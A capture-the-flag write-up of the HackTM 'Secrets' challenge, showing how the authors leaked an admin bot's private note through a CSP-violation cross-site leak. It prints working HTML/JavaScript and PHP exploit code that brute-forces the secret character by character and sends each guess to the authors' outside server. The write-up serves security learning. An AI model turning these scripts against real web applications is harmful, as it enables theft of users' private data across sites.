Featured image of post Exfiltration of secrets using an XS-Leaks - HackTM Secrets

Exfiltration of secrets using an XS-Leaks - HackTM Secrets

Exfiltrate the note from the bot using an XS-Leaks technique called 'Cross-Origin Redirects and CSP Violations'

Secrets - HackTM CTF Writeup

In this article we will solve the final web challenge of the HackTM CTF. The challenge Secrets, is a private note application. We do not have the source code of it.

Here is the preview of the challenge which has been solved only by 9 teams.

Secrets challenge

Secrets solves

Flaggers: xanhacks and overflow from Hexagon team.

TL;DR

The goal was to exfiltrate the note from the bot using an XS-Leaks technique called “Cross-Origin Redirects and CSP Violations”.

Overview

Here is the note application. First, we can register and then log on to the website.

Secrets application

After the login, we notice that the application allows us to:

  • Create notes
  • Search for our notes
  • Report a URL to an admin (bot)

We can create a simple note and view it on the home page:

Create note

List notes

The search functionality has two behaviours depending on the success of the query. Here is an example with a valid and invalid search query on our example note:

  1. On the right, a valid query because the ’example’ word contains the letter ’e'.
  2. On the left, an invalid query because the ’example’ word does not contain the letter ‘Z’.

View requests View responses

You can use the Burpsuite Comparer tab to reproduce this view.

A notable difference in the 2 HTTP responses is that the redirection is not on the same path, and especially, not on the same domain (results.wtl.pw and secrets.wtl.pw).

  • Valid query: http://results.wtl.pw/results?ids=<note_uuid>&query=<query>
  • Invalid query: http://secrets.wtl.pw/#<query>

In addition, the attributes of the session cookie are not very secure:

  • SameSite: None: The cookie will be attached from a request send from every site.
  • Secure: false: The cookie can be used by an HTTP server (no HTTPS requirement).

All these conditions lead us to believe that the goal of the challenge is to exfiltrate the bot’s notes using an XS-Leaks vulnerability.

Cross-site leaks (aka XS-Leaks, XSLeaks) are a class of vulnerabilities derived from side-channels built into the web platform. They take advantage of the web’s core principle of composability, which allows websites to interact with each other, and abuse legitimate mechanisms to infer information about the user. Source xsleaks.dev.

Exploitation

To exfiltrate the flag, we tried to use the following 2 XS-Leaks techniques:

  1. History Length with same URL.
  2. Cross-Origin Redirects and CSP Violations .

Unfortunately, the first technique only worked on our browsers and not the bot. So we will explore the second one.

The goal of the second technique is to use CSP (Content-Security-Policy) to block one domain on both, results.wtl.pw and secrets.wtl.pw. If the blocked domain is requested by the victim, the Javascript event securitypolicyviolation will be triggered.

We can therefore detect whether a domain has been visited by the bot or not during a search via a form submission by monitoring the form-action CSP directive.

Here is an example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!-- Set the Content-Security-Policy to only allow secrets.wtl.pw -->
<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="GET">
    <input type="text" name="query" value="HackTM{">
</form>

<script>
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () => {
    // Valid search query will be catch here
    console.log("Detected a redirect to somewhere other than secrets.wtl.pw");
});
// Try to get secrets.wtl.pw via a form. If it redirects to another cross-site website
// it will trigger a CSP violation event
document.forms[0].submit();
</script>

To extract the flag more quickly, we used a recursion technique implemented with PHP :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$test = isset($_GET['test']) ? $_GET['test'] : '';
$flag = isset($_GET['flag']) ? $_GET['flag'] : '';

if (!substr($flag, 0, strlen($flag)) === substr("HackTM{", 0, strlen($flag))) {
    die();
}
if (!substr($test, 0, strlen($test)) === substr("HackTM{", 0, strlen($test))) {
    die();
}
?>

<?php if ($flag !== ''): ?>
<script>
let charset = "abcdefghijklmnopqrstuvwxyzHTM0123456789{}_";
for (let i = 0; i < charset.length; i++) {
    window.open("http://xpl.xanhacks.xyz/?test=" + "<?= $flag ?>" + charset[i]);
}
</script>
<?php endif; ?>
<?php if ($flag !== '') { die(); } ?>

<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="<?= $test ?>">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        window.location.href="http://xpl.xanhacks.xyz/?flag=<?= $test ?>";
    });
    document.forms[0].submit();
</script>

When testing a search, the form will be sent. In case of success, the bot is redirected with a ?flag= parameter containing the value of the search.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ curl 'http://xpl.xanhacks.xyz?test=HackTM{test_flag_'
<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="HackTM{test_flag_">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        window.location.href="http://xpl.xanhacks.xyz/?flag=HackTM{test_flag_";
    });
    document.forms[0].submit();
</script>

If our server is reached with the flag parameter, it will start the recursion by opening a window for each new character to test.

1
2
3
4
5
6
7
$ curl 'http://xpl.xanhacks.xyz?flag=HackTM{pwnd_by_xs'
<script>
let charset = "abcdefghijklmnopqrstuvwxyzHTM0123456789{}_";
for (let i = 0; i < charset.length; i++) {
    window.open("http://xpl.xanhacks.xyz/?test=" + "HackTM{pwnd_by_xs" + charset[i]);
}
</script>

Finally, we send the URL of our server to the bot and wait for the flag.

Reports URL

The flag appears progressively on our server :

Exfil flag Show flag

It was a bit complicated to exiltrate the flag as the _ character match every chars.

And we get the flag HackTM{pwnd_by_xsleaks_2d11eb9b} !!!

Built with Hugo
Theme Stack designed by Jimmy